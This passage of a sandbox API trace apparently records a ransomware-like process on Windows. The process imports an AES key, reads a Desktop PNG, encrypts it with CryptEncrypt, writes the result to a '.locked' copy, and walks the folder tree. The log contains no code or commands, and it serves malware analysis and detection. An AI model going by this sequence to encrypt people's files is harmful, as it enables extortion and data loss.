(in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.056] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.056] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.056] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.056] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0128.056] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0128.057] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.057] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.058] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0128.058] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x4396a38) returned 1 [0128.059] CryptImportKey (in: hProv=0x4396a38, pbData=0x6981804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e850f8) returned 1 [0128.059] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\x16fc\x698") returned 0x0 [0128.059] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.059] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.059] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.060] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0128.060] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0128.060] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.060] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.060] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.061] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.061] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.061] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.061] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.062] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.062] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.062] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.062] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.062] GetFileType (hFile=0x868) returned 0x1 [0128.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.062] GetFileType (hFile=0x868) returned 0x1 [0128.062] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.063] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.063] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.064] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", lpFilePart=0x0) returned 0x3b [0128.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0128.065] GetFileType (hFile=0x858) returned 0x1 [0128.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.065] GetFileType (hFile=0x858) returned 0x1 [0128.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.065] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x699751c | out: pbBuffer=0x699751c) returned 1 [0128.067] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.067] CryptDuplicateKey (in: hKey=0x8e850f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84ff8) returned 1 [0128.067] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.067] CryptSetKeyParam (hKey=0x8e84ff8, dwParam=0x4, pbData=0x69987d8*=0x1, dwFlags=0x0) returned 1 [0128.067] CryptSetKeyParam (hKey=0x8e84ff8, dwParam=0x1, pbData=0x69987a4, dwFlags=0x0) returned 1 [0128.068] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x12e0\x438\x242") returned 0x0 [0128.068] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.068] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.068] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.069] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.069] ReadFile (in: hFile=0x868, lpBuffer=0x699bd34, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x699bd34*, lpNumberOfBytesRead=0x99ae6cc*=0xb5df, lpOverlapped=0x0) returned 1 [0128.069] CryptEncrypt (in: hKey=0x8e84ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69afd40*, pdwDataLen=0x99ae6c0*=0xb5d0, dwBufLen=0xb5d0 | out: pbData=0x69afd40*, pdwDataLen=0x99ae6c0*=0xb5d0) returned 1 [0128.069] WriteFile (in: hFile=0x858, lpBuffer=0x69975dc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69975dc*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.070] WriteFile (in: hFile=0x858, lpBuffer=0x69b0d2c*, nNumberOfBytesToWrite=0xa5e4, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69b0d2c*, lpNumberOfBytesWritten=0x99ae6a4*=0xa5e4, lpOverlapped=0x0) returned 1 [0128.071] ReadFile (in: hFile=0x868, lpBuffer=0x699bd34, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x699bd34*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.071] CryptEncrypt (in: hKey=0x8e84ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69bb334*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x69bb334*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.071] CryptEncrypt (in: hKey=0x8e84ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69bb368*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x69bb368*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.071] WriteFile (in: hFile=0x858, lpBuffer=0x69975dc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x69975dc*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0128.071] CloseHandle (hObject=0x858) returned 1 [0128.078] CloseHandle (hObject=0x868) returned 1 [0128.079] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.079] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.079] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.079] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.079] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.081] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0128.081] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.081] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.081] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.081] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.081] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.114] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.114] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.114] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.114] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.114] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.114] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.114] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.114] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.115] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.115] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.115] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.115] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.115] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0128.115] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.115] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.116] GetFullPathNameW 